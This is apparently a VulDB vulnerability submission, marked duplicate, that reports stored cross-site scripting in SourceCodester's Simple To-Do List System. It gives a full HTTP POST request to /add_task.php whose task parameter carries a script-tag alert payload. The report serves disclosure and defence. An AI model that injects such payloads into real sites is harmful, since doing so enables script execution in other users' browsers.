Submit #659442: SourceCodester Simple To-Do List System 0 Cross Site Scriptinginfo

TitleSourceCodester Simple To-Do List System 0 Cross Site Scripting
DescriptionSimple To-Do List System is vulnerable to Stored Cross Site Scripting due to missing input validation. POST Request is provided as below where the Task Parameter is vulnerable to this as the data supplied to the variable is not being sanitized properly leading the JS and HTML tags to be stored on the backend system that then renders back on the dashboard proving that the vulnerability exists in the system. POST /add_task.php HTTP/1.1 Host: dr-batata.local Cookie: PHPSESSID=par857rlj9b75j5a8lf7rgupoe Content-Length: 63 Sec-Ch-Ua-Platform: "macOS" Accept-Language: en-US,en;q=0.9 Sec-Ch-Ua: "Not)A;Brand";v="8", "Chromium";v="138" Sec-Ch-Ua-Mobile: ?0 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/x.x.x.x Safari/537.36 Accept: */* Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: https://dr-batata.local Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://dr-batata.local/index.php Accept-Encoding: gzip, deflate, br Priority: u=1, i Connection: keep-alive task=%3Cscript%3Ealert(1)%3B%3C%2Fscript%3E&due_date=2025-09-20
Source⚠️ https://youtu.be/A-3KY5E8nOg
User
 Kamran Saifullah (UID 4218)
Submission09/20/2025 14:40 (1 Year ago)
Moderation09/26/2025 11:46 (6 days later)
StatusDuplicate
VulDB entry323087 [SourceCodester Simple To-Do List System 1.0 Add New Task /fetch_tasks.php cross site scripting]
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